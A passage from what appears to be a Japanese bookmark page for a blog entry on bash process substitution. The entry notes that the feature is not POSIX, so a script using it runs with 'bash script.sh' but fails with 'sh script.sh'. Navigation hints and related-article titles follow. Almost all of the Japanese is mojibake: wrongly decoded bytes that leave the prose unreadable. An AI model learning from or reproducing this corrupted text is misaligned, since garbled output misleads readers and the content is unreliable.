@hirose31 ã•ã‚“ãŒã€Œã‚·ã‚§ãƒ«ã‚¹ã‚¯ãƒªãƒ—トã§ãƒãƒžã£ãŸä»¶â†’ã€å‹Ÿã€‘ステã‚ãªå›žé¿æ–¹æ³•ã€ã§ãŠé¡Œã‚’出ã•ã‚Œã¦ã„ã¦ã€ãã‚Œã«å›žç”ã—ã¦ã¿ã¾ã—ãŸã€‚ ãã®å†…容ã¯ãƒªãƒ³ã‚¯å…ˆã‚’見ã¦ã‚‚らã†ã¨ã—ã¦ã€å›žç”ã®ä¸ã§ä½¿ã£ãŸbashã®ãƒ—ãƒã‚»ã‚¹ç½®æ›ã«ã¤ã„ã¦æ›¸ã‹ã‚ŒãŸè¨˜äº‹ã‚’ã‚ã¾ã‚Šè¦‹ãªã„ã®ã§ã€å›žç”ã§ä½¿ã£ãŸãƒ—ãƒã‚»ã‚¹ç½®æ›ã®ã“ã¨ã‚’エントリã«ã—ã¦ã¿ãŸã„ã¨æ€ã„ã¾ã™ã€‚ 最åˆã«æ³¨æ„点ã§ã™ãŒã€ãƒ—ãƒã‚»ã‚¹ç½®æ›ã®æ©Ÿèƒ½ã¯ã€bashã‚„zsh*1ã®æ©Ÿèƒ½ã§POSIX互æ›ã®æ©Ÿèƒ½ã§ã¯ã‚ã‚Šã¾ã›ã‚“。ãã®ãŸã‚ã€ä½¿ç”¨æ™‚ã«ã¯ã€å¯¾å¿œã—ã¦ã„ãªã„シェルã§ã¯ä½¿ãˆã¾ã›ã‚“ã—ã€bashã§ä½¿ã†å ´åˆã‚‚ /bin/sh ã§ã¯ãªã /bin/bash を明示的ã«æŒ‡å®šã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ãŸã¨ãˆã°ã€ãƒ—ãƒã‚»ã‚¹ç½®æ›ã‚’使ã£ãŸã‚¹ã‚¯ãƒªãƒ—ト「script.shã€ã«å¯¾ã—ã¦"$ bash script.sh" ã¨ã„ã†ã‚³ãƒžãƒ³ãƒ‰ã¯æˆåŠŸã—ã¾ã™ãŒã€"$ sh script.sh" ã¨ã„ã†ã‚³ãƒžãƒ³ãƒ‰ã¯å¤±æ•—ã—ã¾ã™ã€‚ã“ã®è¾ºã‚Šã®é•ã„ã¯ã€Œ/
リリースã€éšœå®³æƒ…å ±ãªã©ã®ã‚µãƒ¼ãƒ“スã®ãŠçŸ¥ã‚‰ã›
最新ã®äººæ°—エントリーã®é…ä¿¡
j次ã®ãƒ–ックマーク
kå‰ã®ãƒ–ックマーク
lã‚ã¨ã§èªã‚€
eコメント一覧を開ã
oページを開ã
ShellShockãŒCGIã«åŠã¼ã™å½±éŸ¿ã‚’å°‘ã—éŽå¤§è©•ä¾¡ã—ã¦ã„ãŸã‹ã‚‚ - Qiita
一定時間ã§ã‚·ã‚§ãƒ«ã‚³ãƒžãƒ³ãƒ‰ã‚’終了ã•ã›ã‚‹ãŸã£ãŸ1ã¤ã®æ–¹æ³• - Qiita
oss-lab.net - Registered at Namecheap.com
{{#tags}}- {{label}}
{{/tags}}